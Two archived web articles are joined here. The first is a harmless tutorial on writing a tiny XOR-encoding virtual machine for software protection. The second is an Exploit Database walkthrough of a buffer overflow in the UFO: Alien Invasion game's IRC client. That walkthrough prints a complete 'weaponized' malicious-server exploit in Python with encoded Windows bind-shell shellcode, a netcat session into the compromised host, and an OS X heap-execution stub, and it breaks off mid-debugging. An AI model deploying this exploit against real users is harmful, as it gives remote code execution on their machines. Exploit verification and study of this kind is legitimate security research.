**Updated:**| _12/29/2011 1:21:46 PM_  
**Author:**| __  
**Tags:**| _virtusalisation programming_  
  

### Simple Virtual Machine

Sample code for this article may be found here.  
  
  
In computing, _Virtual Machine \(VM\)_ is a software implementation of either
existing or a fictional hardware platform. VM's are generally divided into two
classes - system VM \(VM which is capable of running an operating system\) and
process VM \(the one that only can run one executable, roughly saying\).
Anyway, if you are just interested in the definition of the term, you better
go here.

  

There are tones of articles dedicated to this matter on the Internet, hundreds
of tutorials and explanations. I see no reason to just add another "trivial"
article or tutorial to the row. Instead, I think it may be more interesting to
see it in action, to have an example of real application. One may say that we
are surrounded by those examples - Java, .NET, etc. It is correct, however, I
would like to touch a slightly different application of this technology -
protect your software/data from being hacked.

  

**Data Protection**

Millions of dollars are being spent by software \(or content\) vendors in an
attempt to protect their products from being stolen or used in any other
illegal way. There are numerous protection tools and utilities, starting with
simple packers/scramblers and ending with complex packages that implement
multilevel encryption and virtual machines as well. However, you may disagree,
but you wont convince me, an out-of-the-box solution is good until it gains
popularity. There is enough evidence for this statement. In my opinion, no one
can protect your software better than you. It only depends on how much
protected you want it to be.

  

Although, there are numerous protection methods and techniques, we are going
to concentrate on a virtual machine for data coding/decoding. Nothing special,
just a trivial XOR method, but, in my opinion, enough to demonstrate the
fundamentals.

  

**Design Your VM**

While in real life, hardware design precedes its software counterpart, we may
let ourselves to do it in reverse order \(it is our own VM, after all\).
Therefore, we will begin with the pseudo executable file format which will be
supported by our VM.

  
  
**Pseudo Executable File Format**

Well, it is a good idea to put a header in the beginning of the file. In order
to do so, we have to think what our file is going to contain. The file may be
a raw code \(remember DOS com files?\), but this would not be interesting
enough. So, let our file be divided into three sections:

  * code section \- this section would contain code written in our pseudo assembly language \(we'll cover it a bit later\);
  * data section \- this section would contain all the data needed by our pseudo executable \(PE :-\) \);
  * export section \- this section would contain references to all the elements that we want to make visible to the core program.

Let us define the header as a C structure:

  

typedef struct **\_VM\_HEADER**

\{

**unsigned** **int** version; _/\* Version of our VM. Will be 0x101 for now
\*/_

**unsigned** **int** codeOffset; _/\* File offset of the code section \*/_

**unsigned** **int** codeSize; _/\* Size of the code section in bytes \*/_

**unsigned** **int** dataOffset; _/\* File offset of the data section \*/_

**unsigned int** dataSize; _/\* Size of the data section in bytes \*/_

**unsigned int** exportOffset; _/\* File offset of the export section \*/_

**unsigned int** exportSize; _/\* Size of the export section in bytes \*/_

**unsigned int** requestedStack; _/\* Required size of stack in 4 bytes blocks
\*/_

**unsigned int** fileSize; _/\* Size of the whole file in bytes \*/_

\}**VM\_HEADER** ;

  

Well, one more thing. Actually the most important one. We need a compiler for
our pseudo assembly that would be able to output files of this format.
Fortunately, we do not have to write one \(although, this may be an
interesting task\). Tomasz Grysztar has done a wonderful work with his Flat
Assembler. Despite the fact, that this compiler is intended to compile Intel
assembly code, thanks to the wonderful macro instruction support, we can adopt
it to our needs. The skeleton source for our file would look like this:

  

include 'defs.asm' _;Definitions of our pseudo assembly instructions_

  

**org** 0

_; Header =======================_

h\_version dd 0x101

h\_code dd **\_code**

h\_code\_size dd **\_code\_size**

h\_data dd **\_data**

h\_data\_size dd **\_data\_size**

h\_exp dd **\_export**

h\_exp\_size dd **\_export\_size**

h\_stack dd 0x40

h\_size dd **size**

  

_; Code =========================_

**\_code** :

**\_function** :

_;some pseudo code here_

**\_code\_size** = **$** \- **\_code**

  

_; Data =========================_

**\_data** :

  

 _;some data here_

  

**\_data\_size** = **$** \- **\_data**

  

_; Export =======================_

**\_export** :

 _;export table structures here_

  

**\_export\_size** = $ - **\_export**

**size** = **$** \- **h\_version**

  

as simple as that.

  

Export section deserves special attention. I tried to make it as easy to use
as possible. It is divided into two parts:

  

  1. Array of file offsets of export entries terminated by 0;
  2. Export entries:

  1. File offset of the exported function/variable \(4 bytes\);
  2. Public name of the exported object \(NULL terminated ASCII string\);

In the above example, the export section would look like this:

  

_; Array of file offsets_

dd **\_f1**  _; Offset of '\_f1' export entry_

dd 0  _; Terminating 0_

_; List of export entries_

**\_f1** dd **\_function**  _; File offset_

db 'exported\_function\_name',0 _; Public name_

_  
_

Save the file as 'something.asm' or whatever name you prefer. Compile it with
Fasm.

  

**Pseudo Assembly Language**

Now, when we are done with the file format, we have to define our pseudo
assembly language. This includes both definition of commands and instruction
encoding. As this VM is designed to only code/decode short text message, there
is no need to develop full scale set of commands. All we need is MOV, XOR,
ADD, LOOP and RET.

  

Before you start writing macros that would represent these commands, we have
to think about instruction encoding. This is not going to be difficult - we
are not Intel. For simplicity, all our instructions will be two bytes long
followed by one or more immediate arguments if there are any. This allows us
to encode all the needed information, such as opcode, type of arguments, size
of arguments and operation direction:

typedef struct **\_INSTRUCTION**

\{

**unsigned short** opCode:5;  _/\* Opcode value \*/_

**unsigned short** opType1:2; _/\* Type of the first operand if present \*/_

**unsigned short** opType2:2; _/\* Type of the second operand if present \*/_

**unsigned short** opSize:2;  _/\* Size of the operand\(s\) \*/_

**unsigned short** reg1:2;  _/\* Index of the register used as first operand
\*/_

**unsigned short** reg2:2;  _/\* Index of the register used as second operand
\*/_

**unsigned short** direction:1; _/\* Direction of the operation \*/_

  

\}**INSTRUCTION** ;

  

  

Define the following constants:

  

__

__/\* Operand types \*/__

__  

**\#define** **OP\_REG** 0 _/\* Register operand \*/_

**\#define** **OP\_IMM** 1 _/\* Immediate operand \*/_

**\#define** **OP\_MEM** 2 _/\* Memory reference \*/_

**\#define** **OP\_NONE** 3 _/\* No operand \(optional\) \*/_

_  
_

_/\* Operand sizes \*/_

**\#define** **\_BYTE** 0

**\#define** **\_WORD** 1

**\#define** **\_DWORD** 2

  

_/\* Operation direction \*/_

**\#define** **DIR\_LEFT** 0

**\#define** **DIR\_RIGHT** 1

  

_/\* Instructions \(OpCodes\) \*/_

**\#define** **MOV** 1

**\#define** **MOVI** 7

**\#define** **ADD** 2

**\#define** **SUB** 3

**\#define** **XOR** 4

**\#define** **LOOP** 5

**\#define** **RET** 6

  

  

It seems to me that there is no reason to put all the macros defining our
pseudo assembly opcodes here, as it would be a waste of space. I will just put
one here as an example. This will be the definition of MOV instruction:

  

<img src='img/Temp2_7816.png' />  
---  
Constants to be used with our pseudo assembly language  
  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

<img src='img/Temp2_7821.png' />  
---  
Macro defining the MOV instruction  
  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

As you can see in the code above, I've been lazy again and decided, that it
would be easier to implicitly specify the size of the arguments, rather then
writing some extra code to identify their size automatically. In addition, the
name of the instruction tells what that specific instruction is intended to
do. For example, mov\_rm \- moves value from memory to register and letters
'r' and 'm' tell what types of arguments are in use \(register, memory\). In
this case, moving a WORD from memory to a register would look like this:

  

mov\_rm REG\_A, address, \_WORD

  

and the whole code section \(currently contains only one function\) is
represented by the image below:

  

<img src='img/Temp2_7818.png' />

loads address of the message as immediate value into B register; loads length
of the message from address described by message\_len into C register;
iterates message\_len times and applies XOR to every byte of the message.
"mov\_rmi" performs the same operation as "mov\_rm" but the address is in the
register specified as second parameter.

  

  

  

  

  

  

  

This is what the output looks like in IDA Pro:

  
<img src='img/Temp2_7815.png' />  
---  
Header  
  

  

  

  

  

  

  

  

  

  

  

  

  

<img src='img/Temp2_7819.png' />  
---  
Code  
  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

<img src='img/Temp2_7817.png' />  
---  
Data and Export sections  
  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

**Virtual Machine**

Alright, now, when we have some sort of a "compiler", we may start working on
the VM itself. First of all, let us define a structure, that would represent
our virtual CPU:

  
typedef struct **\_VCPU**

\{

**unsigned int** registers\[4\]; _/\* Four registers \*/_

**unsigned int** \*stackBase; _/\* Pointer to the allocated stack \*/_

**unsigned int** \*stackPtr;  _/\* Pointer to the current position in stack
\*/_

**unsigned int** ip; _/\* Instruction pointer \*/_

**unsigned char** \*base;  _/\* Pointer to the buffer where our pseudo_

_executable is loaded to \*/_

\}**VCPU**

  

registers \- general purpose registers. There is no need for any additional
register in this VM's CPU;

stackBase \- pointer to the beginning of the allocated region which we use as
stack for our VM;

stackPtr \- this is our stack pointer;

ip \- instruction pointer. Points to the next instruction to be executed. It
cannot point outside the buffer containing our pseudo executable;

base \- pointer to the buffer which contains our executable. You may say that
this is the memory of our VM.

  

In addition, you should implement at least some functions for the following:

  1. allocate/free virtual CPU
  2. load pseudo executable into VM's memory and setup stack
  3. a function to retrieve either a file offset or normal pointer to an object exported by the pseudo executable
  4. a function to set instruction pointer \(although, this may be done by directly accessing the ip field of the virtual CPU
  5. a function that would run our pseudo code.

In my case, the final source looks like this:

  

  

<img src='img/Temp2_7820.png' />

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

I decided not to cite the VM's code here as you should be able to write it
yourself if the subject is interesting enough for you. Although, the code in
this article does not contain any checks for correct return values, you should
take care of them.

  

**Summary**

Although, this article describes a trivial virtual machine which is only able
to encode/decode a fixed length buffer, the concept itself may serve you well
in software/data protection as hacking into VM is several times harder then
cracking native code.

  

One more thing to add. Our design allows us to call procedures provided by the
pseudo executable, but there are several ways to allow the pseudo executable
to "talk to us". The simplest \(as it seems to me\) is to implement
interrupts.

  

I hope, I've covered it. Would appreciate comments and/or suggestions.

  

P.S. The encoded result would be "V\{rrq2>Iqlrz?".

  

See you at the next post\!

  

  

Posted by Alexey Lyashko

# UFO: Alien Invasion Part 1 – From Packet to Pwnage « Exploits Database by
Offensive Security

**Created:**| _6/28/2010 2:12:10 PM_  
---|---  
**Updated:**| _6/28/2010 2:13:25 PM_  
**Author:**| __  
**Tags:**| _Exploit packet-analysis reversing Linux network-security Tutorials
programming howto_  
  

# UFO: Alien Invasion Part 1 and 2 – From Packet to Pwnage

28th June 2010 - by dookie2000ca

<img src='img/Temp2_8656.png' width='181' height='142' alt='UFO alien invasion
exploit' />In addition to accepting submissions, we at the Exploit Database
also have the opportunity to verify the exploits that we post on the site.
Recently, I came across an exploit advisory by Jason Geffner targeting the
open-source game, UFO: Alien Invasion that I subsequently posted on the
Exploit Database. UFO: Alien Invasion \(UFOAI\) contains an IRC client and in
version 2.2.1 and below, when a user is coerced into connecting to a malicious
IRC server, remote code execution is possible due to the fact that the
irc\_server\_msg\_t structure does not perform proper input sanitization
allowing its 512-byte buffer to be over-run by a malicious server response.

Unlike most other proof of concept exploits, this exploit does not contain a
script to replicate the attack but rather, it has a packet capture of the
malicious server response so our first task in verifying this entry is to
parse the provided packet and send it off to our victim when it connects. You
can bring up the console within the game by pressing the ‘~’ key and connect
to your server by issuing the ‘irc\_connect \[ip address\]‘ command.  
  

<img src='img/Temp2_8658.png' width='629' height='487' alt='Game Console' />

  

\[\*\] Listening on port 6667.  
\[\*\] Have someone connect to you.  
\[\*\] Type -c to exit.  
\[\*\] Received connection from: \('192.168.1.151', 1249\)

  

<img src='img/Temp2_8661.png' width='629' height='430' alt='Paint Launched' />

  
  
Opening mspaint is great for a proof of concept but we want to get more out of
this exploit so we create a skeleton exploit based off the PoC, replacing the
JMP ESP address with B’s so we can see the crash state in our debugger.  
  

\#\!/usr/bin/env python  
\#  
\# Skeleton Exploit for UFO: Alien Invasion  
\# Author: dookie  
\#  
import sys, socket  
sploit = "001 :"  
sploit += "\x41" \* 552  
sploit += "\x42" \* 4  
sploit += "\xcc" \* 400  
sploit += "\x0d\x0a"  
s = socket.socket\(socket.AF\_INET, socket.SOCK\_STREAM\)  
s.bind\(\('', 6667\)\)  
s.listen\(1\)  
print \("\[\*\] Listening on port 6667."\)  
print \("\[\*\] Have someone connect to you."\)  
print \("\[\*\] Type \[control\]-c to exit."\)  
conn, addr = s.accept\(\)  
print '\[\*\] Received connection from: ', addr  
conn.send\(sploit\)  
conn.close

  

<img src='img/Temp2_8660.png' width='629' height='453' alt='Skeleton Crash' />

  
  
Looking at our debugger, we can see that EIP is under our control and ESP is
pointing directly at our dummy shellcode. Futher investigation into this
exploit shows that it is quite sensitive to the buffer length so we are
limited to 400 bytes of shellcode which is still plenty of space for a
bindshell payload. All we need now is a JMP ESP instruction that we will take
from SDL\_ttf.dll at address 0x0AE59A43. We modify our skeleton to include the
JMP ESP instruction, set a breakpoint on the address in our debugger and
connect to our server.  
  

<img src='img/Temp2_8662.png' width='629' height='454' alt='Breakpoint Hit' />

  
  
With our breakpoint hit, we single-step \(F7\), take the jump and land right
in our dummy shellcode. All that remains is to place some real shellcode into
our exploit. Although the characters \x0A and \x0D are not really bad
characters, if by chance they end up together in the shellcode, it will
terminate our buffer so we declare them both as bad when generating the
shellcode.  
  

msfpayload windows/shell\_bind\_tcp R | msfencode -b '\x00\x0a\x0d' -t c 
  
  
We replace the dummy shellcode with our bindshell, place a breakpoint on our
JMP ESP instruction again and watch the crash. Looking at the address ESP
points to, we can see that our shellcode has made its way completely intact
into the buffer.  
  

<img src='img/Temp2_8657.png' width='629' height='453' alt='Shellcode Intact'
/>

  
  
Everything looks good so far so we’ll launch our attack without the debugger
attached.  
  

root@bt:~/docs/exploit/ufo\# nc 192.168.1.151 4444  
Microsoft Windows XP \[Version 5.1.2600\]  
\(C\) Copyright 1985-2001 Microsoft Corp.  
C:\Program Files\UFOAI-2.2.1>hostname  
hostname  
v-xp-patched  
C:\Program Files\UFOAI-2.2.1>echo %username%  
echo %username%  
Administrator  
C:\Program Files\UFOAI-2.2.1>

  
  
Our final, weaponized exploit looks like this:  
  

\#\!/usr/bin/env python  
import sys, socket  
\# msfpayload windows/shell\_bind\_tcp R | msfencode -b '\x00\x0a\x0d' -t c  
bindshell = \("\x33\xc9\xbb\xb0\x6c\xe6\x4e\xb1\x56\xd9\xce\xd9\x74\x24\xf4"  
"\x5f\x83\xef\xfc\x31\x5f\x0c\x03\x5f\x0c\x52\x99\x1a\xa6\x1b"  
"\x62\xe3\x37\x7b\xea\x06\x06\xa9\x88\x43\x3b\x7d\xda\x06\xb0"  
"\xf6\x8e\xb2\x43\x7a\x07\xb4\xe4\x30\x71\xfb\xf5\xf5\xbd\x57"  
"\x35\x94\x41\xaa\x6a\x76\x7b\x65\x7f\x77\xbc\x98\x70\x25\x15"  
"\xd6\x23\xd9\x12\xaa\xff\xd8\xf4\xa0\x40\xa2\x71\x76\x34\x18"  
"\x7b\xa7\xe5\x17\x33\x5f\x8d\x7f\xe4\x5e\x42\x9c\xd8\x29\xef"  
"\x56\xaa\xab\x39\xa7\x53\x9a\x05\x6b\x6a\x12\x88\x72\xaa\x95"  
"\x73\x01\xc0\xe5\x0e\x11\x13\x97\xd4\x94\x86\x3f\x9e\x0e\x63"  
"\xc1\x73\xc8\xe0\xcd\x38\x9f\xaf\xd1\xbf\x4c\xc4\xee\x34\x73"  
"\x0b\x67\x0e\x57\x8f\x23\xd4\xf6\x96\x89\xbb\x07\xc8\x76\x63"  
"\xad\x82\x95\x70\xd7\xc8\xf1\xb5\xe5\xf2\x01\xd2\x7e\x80\x33"  
"\x7d\xd4\x0e\x78\xf6\xf2\xc9\x7f\x2d\x42\x45\x7e\xce\xb2\x4f"  
"\x45\x9a\xe2\xe7\x6c\xa3\x69\xf8\x91\x76\x3d\xa8\x3d\x29\xfd"  
"\x18\xfe\x99\x95\x72\xf1\xc6\x85\x7c\xdb\x70\x82\xb2\x3f\xd1"  
"\x64\xb7\xbf\xc7\x28\x3e\x59\x8d\xc0\x16\xf1\x3a\x22\x4d\xca"  
"\xdd\x5d\xa7\x66\x75\xc9\xff\x60\x41\xf6\xff\xa6\xe1\x5b\x57"  
"\x21\x72\xb7\x6c\x50\x85\x92\xc4\x1b\xbd\x74\x9e\x75\x0f\xe5"  
"\x9f\x5f\xe7\x86\x32\x04\xf8\xc1\x2e\x93\xaf\x86\x81\xea\x3a"  
"\x3a\xbb\x44\x59\xc7\x5d\xae\xd9\x13\x9e\x31\xe3\xd6\x9a\x15"  
"\xf3\x2e\x22\x12\xa7\xfe\x75\xcc\x11\xb8\x2f\xbe\xcb\x12\x83"  
"\x68\x9c\xe3\xef\xaa\xda\xec\x25\x5d\x02\x5c\x90\x18\x3c\x50"  
"\x74\xad\x45\x8d\xe4\x52\x9c\x16\x14\x19\xbd\x3e\xbd\xc4\x57"  
"\x03\xa0\xf6\x8d\x47\xdd\x74\x24\x37\x1a\x64\x4d\x32\x66\x22"  
"\xbd\x4e\xf7\xc7\xc1\xfd\xf8\xcd\xc8"\)</p>  
sploit = "001 :"  
sploit += "\x41" \* 552  
sploit += "\x43\x9A\xE5\x0A" \# JMP ESP from SDL\_ttf.dl  
sploit += "\x90" \* 8  
sploit += bindshell  
sploit += "\xcc" \* 23  
sploit += "\x0d\x0a"  
  
s = socket.socket\(socket.AF\_INET, socket.SOCK\_STREAM\)  
s.bind\(\('', 6667\)\)  
s.listen\(1\)  
print \("\[\*\] Listening on port 6667."\)  
print \("\[\*\] Have someone connect to you."\)  
print \("\[\*\] Type \[control\]-c to exit."\)  
conn, addr = s.accept\(\)  
print '\[\*\] Received connection from: ', addr  
  
conn.send\(sploit\)  
conn.close

  

  

# UFO: Alien Invasion Part 2 – One More Thing…

28th June 2010 - by dookie2000ca

<img src='img/Temp2_8659.png' width='181' height='142' alt='UFO alien invasion
exploit' />This post is a continuation of part 1 of exploiting UFO: Alien
Invasion. When I was downloading this game, I noticed that they had a version
for Mac OSX as well and since public Mac exploits are few and far between, it
seemed like a good idea to see if this attack could be extended to target OSX
as well. Exploiting a Mac also gives us the opportunity to practice our GNU
Debugger \(GDB\) skills.  
We begin our journey by launching UFOAI on the victim and attaching to the
process with the GDB.

  

dookies-macbook:~ dookie$ gdb -p \`ps auxww |grep ufo | awk \{'print $2'\}\`
  

First, we’ll need to determine if we can successfully overwrite EIP so we
construct a new skeleton exploit that will launch a string of A’s at the
victim when it connects.

  

\#\!/usr/bin/env python  
\#  
\# Skeleton Exploit for UFO: Alien Invasion  
\# Author: dookie  
\#  
import sys, socket  
  
sploit = "001 :"  
sploit += "\x41" \* 1000  
sploit += "\x0d\x0a"  
  
s = socket.socket\(socket.AF\_INET, socket.SOCK\_STREAM\)  
s.bind\(\('', 6667\)\)  
s.listen\(1\)  
  
print \("\[\*\] Listening on port 6667."\)  
print \("\[\*\] Have someone connect to you."\)  
print \("\[\*\] Type -c to exit."\)  
conn, addr = s.accept\(\)  
print '\[\*\] Received connection from: ', addr  
conn.send\(sploit\)  
conn.close

  

As we did with the Windows version of this exploit, we run our script, connect
to our malicious server and capture the crash in our debugger.

  

\(gdb\) c  
Continuing.  
  
Program received signal EXC\_BAD\_ACCESS, Could not access memory.  
Reason: KERN\_INVALID\_ADDRESS at address: 0x41414141  
0x41414141 in ?? \(\)  
\(gdb\)

  

This looks very promising. Looking at the state of the registers shows we have
full control over EIP along with some other registers.

  

\(gdb\) i reg  
eax 0x0 0  
ecx 0x237ce0d0 595386576  
edx 0xfd1a20 16587296  
ebx 0x41414141 1094795585  
esp 0xbffffa30 0xbffffa30  
ebp 0x41414141 0x41414141  
esi 0xbffffb70 -1073742992  
edi 0xbffffbb0 -1073742928  
eip 0x41414141 0x41414141  
eflags 0x10286 66182  
cs 0x17 23  
ss 0x1f 31  
ds 0x1f 31  
es 0x1f 31  
fs 0x0 0  
gs 0x37 55  
\(gdb\)

  

We can safely assume that the required buffer length to overwrite EIP on the
Mac will not be the same as that on Windows so we use Metasploit to generate a
unique 1000-byte pattern that we will replace the A’s with.

  

root@bt:~/docs/exploit/ufo\# /opt/metasploit3/msf3/tools/pattern\_create.rb
1000

  

We relaunch our exploit, connect to our server and again analyze the crash in
gdb.

  

\(gdb\) i reg  
eax 0x0 0  
ecx 0x237aeff0 595259376  
edx 0xfd1a20 16587296  
ebx 0x72413372 1916875634  
esp 0xbffffa30 0xbffffa30  
ebp 0x35724134 0x35724134  
esi 0xbffffb70 -1073742992  
edi 0xbffffbb0 -1073742928  
eip 0x41367241 0x41367241  
eflags 0x10286 66182  
cs 0x17 23  
ss 0x1f 31  
ds 0x1f 31  
es 0x1f 31  
fs 0x0 0  
gs 0x37 55  
\(gdb\)

  

Our debugger shows us that EIP was overwritten with 0×41367241 which we plug
in to the Metasploit pattern\_offset.rb script to determine the position these
characters occur.

  

root@bt:~/docs/exploit/ufo\# /opt/metasploit3/msf3/tools/pattern\_offset.rb
41367241  
528

  

Metasploit tells us that the characters that overwrite EIP are bytes 529-532
so we edit our skeleton exploit to reflect this new information.

  

\#\!/usr/bin/env python  
\#  
\# Skeleton Exploit for UFO: Alien Invasion  
\# Author: dookie  
\#  
import sys, socket  
  
sploit = "001 :"  
sploit += "\x41" \* 528  
sploit += "\x42" \* 4 \# EIP overwrite  
sploit += "\xcc" \* 468 \# Dummy shellcode  
sploit += "\x0d\x0a"  
  
s = socket.socket\(socket.AF\_INET, socket.SOCK\_STREAM\)  
s.bind\(\('', 6667\)\)  
s.listen\(1\)  
print \("\[\*\] Listening on port 6667."\)  
print \("\[\*\] Have someone connect to you."\)  
print \("\[\*\] Type -c to exit."\)  
conn, addr = s.accept\(\)  
print '\[\*\] Received connection from: ', addr  
  
conn.send\(sploit\)  
conn.close

  

Launching our attack again, we see if we have everything controlled properly.

  

Program received signal EXC\_BAD\_ACCESS, Could not access memory.  
Reason: KERN\_INVALID\_ADDRESS at address: 0x42424242  
0x42424242 in ?? \(\)  
\(gdb\) i reg  
eax 0x0 0  
ecx 0x237beb00 595323648  
edx 0xfd1a20 16587296  
ebx 0x41414141 1094795585  
esp 0xbffffa30 0xbffffa30  
ebp 0x41414141 0x41414141  
esi 0xbffffb70 -1073742992  
edi 0xbffffbb0 -1073742928  
eip 0x42424242 0x42424242  
eflags 0x10286 66182  
cs 0x17 23  
ss 0x1f 31  
ds 0x1f 31  
es 0x1f 31  
fs 0x0 0  
gs 0x37 55  
\(gdb\)

  

EIP has been overwritten with B’s as planned and dumping the address that ESP
points to shows us that our dummy shellcode has made its way through onto the
stack as well.

  

\(gdb\) x/200xb $esp  
0xbffffa30: 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc  
0xbffffa38: 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc  
0xbffffa40: 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc  
0xbffffa48: 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc  
0xbffffa50: 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc  
0xbffffa58: 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc  
0xbffffa60: 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc  
0xbffffa68: 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc  
0xbffffa70: 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc  
0xbffffa78: 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc  
0xbffffa80: 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc  
0xbffffa88: 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc  
0xbffffa90: 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc  
0xbffffa98: 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc  
0xbffffaa0: 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc  
0xbffffaa8: 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc  
0xbffffab0: 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc  
0xbffffab8: 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc  
0xbffffac0: 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc  
0xbffffac8: 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc  
0xbffffad0: 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc  
0xbffffad8: 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc  
0xbffffae0: 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc  
0xbffffae8: 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc  
0xbffffaf0: 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc  
\(gdb\)

  

If this were the comfortable world of Windows, all we would need to do would
be to overwrite EIP with a JMP ESP instruction and we’d be on our way but in
OSX, the stack is non-executable so we will need to use Dino Dai Zovi’s
technique to copy our payload to the heap and execute it from there. For a
more complete overview of this process see the excellent write-up on the
Evocam exploit by d1dn0t on the Offensive Security blog. The ‘Exec Payload
From Heap’ stub looks like the following.

  

\#\#\#\# Exec Payload From Heap Stub \(By Dino Dai Zovi\) \#\#\#\#  
frag0 = "\x90\x58\x61\xc3"  
frag1 = "\x90\x58\x89\xe0\x83\xc0\x0c\x89\x44\x24\x08\xc3"  
  
writeable = 0x8fe66448 \# writeable memory location in /usr/lib/dyld  
setjmp = 0x8fe1cf38 \# t \_setjmp in /usr/lib/dyld  
strdup = 0x8fe210dc \# t \_strdup in /usr/lib/dyld  
jmpeax = 0x8fe01041 \# jmp eax in /usr/lib/dyld  
  
stub = frag0 + struct.pack\('<III',setjmp,writeable+32,writeable\) + \  
frag1 + 'A' \* 20 +
struct.pack\('<IIIII',setjmp,writeable+24,writeable,strdup,jmpeax\) + \  
'A' \* 4

  

Our exploit is edited to include the stub and some dummy shellcode.

  

\#\!/usr/bin/python  
  
import sys, socket, struct  
  
\# msfpayload osx/x86/vforkshell\_bind\_tcp R | msfencode -b '\x00\x0a\x0d' -t c  
  
shellcode = "\x90" \* 16  
shellcode += "\xcc" \* 300  
  
\#\#\#\# Exec Payload From Heap Stub \(By Dino Dai Zovi\) \#\#\#\#  
frag0 = "\x90\x58\x61\xc3"  
frag1 = "\x90\x58\x89\xe0\x83\xc0\x0c\x89\x44\x24\x08\xc3"  
  
writeable = 0x8fe66448 \# writeable memory location in /usr/lib/dyld  
setjmp = 0x8fe1cf38 \# t \_setjmp in /usr/lib/dyld  
strdup = 0x8fe210dc \# t \_strdup in /usr/lib/dyld  
jmpeax = 0x8fe01041 \# jmp eax in /usr/lib/dyld  
  
stub = frag0 + struct.pack\('<III',setjmp,writeable+32,writeable\) + \  
frag1 + 'A' \* 20 +
struct.pack\('<IIIII',setjmp,writeable+24,writeable,strdup,jmpeax\) + \  
'A' \* 4  
  
sploit = "001 :"  
sploit += "\x41" \* 524  
sploit += stub  
sploit += shellcode  
sploit += "\x0d\x0a"  
\#sploit = lead  
  
s = socket.socket\(socket.AF\_INET, socket.SOCK\_STREAM\)  
s.bind\(\('', 6667\)\)  
s.listen\(1\)  
print \("\[\*\] Listening on port 6667."\)  
print \("\[\*\] Have someone connect to you."\)  
print \("\[\*\] Type \[control\]-c to exit."\)  
conn, addr = s.accept\(\)  
print '\[\*\] Received connection from: ', addr  
  
conn.send\(sploit\)  
conn.close

  

Again, we attach gdb to UFOAI and we set a breakpoint at the end of the setjmp
function and allow the program to continue execution.

  

\(gdb\) b \*0x8fe1d026  
Breakpoint 1 at 0x8fe1d026  
\(gdb\) c  
Continuing.

  

Our exploit is launched, we connect to our malicious server and cross our
fingers.

  

Breakpoint 1, 0x8fe1d026 in \_\_dyld\_\_setjmp \(\)  
\(gdb\)

  

Excellent, we’ve hit our breakpoint so we know that our stub is working to
some degree. Pressing ‘c’ to continue execution will see us hitting our
breakpoint again as we reach the end of our second setjmp function.

  

\(gdb\) c  
Continuing.  
  
Breakpoint 1, 0x8fe1d026 in \_\_dyld\_\_setjmp \(\)  
\(gdb\)

  

If we single step 5 times and then look at the EAX register, we should
hopefully see our shellcode as planned.

  

\(gdb\) si  
0x8fe66460 in ?? \(\)  
\(gdb\) si  
0x8fe66461 in ?? \(\)  
\(gdb\) si  
0x8fe66462 in ?? \(\)  
\(gdb\) si  
0x8fe66464 in ?? \(\)  
\(gdb\) si  
0x8fe66467 in ?? \(\)  
\(gdb\) x/100xb $eax  
0xbffffa70: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90  
0xbffffa78: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90  
0xbffffa80: 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc  
0xbffffa88: 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc  
0xbffffa90: 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc  
0xbffffa98: 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc  
0xbffffaa0: 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc  
0xbffffaa8: 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc  
0xbffffab0: 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc  
0xbffffab8: 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc  
0xbffffac0: 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc  
0xbffffac8: 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc 0xcc  
0xbffffad0: 0xcc 0xcc 0xcc 0xcc  
\(gdb\)

  

Now, we continue execution and hit our dummy shellcode without a hitch.

  

\(gdb\) c  
Continuing.  
  
Program received signal SIGTRAP, Trace/breakpoint trap.  
0x237cc9d1 in ?? \(\)  
\(gdb\) i reg  
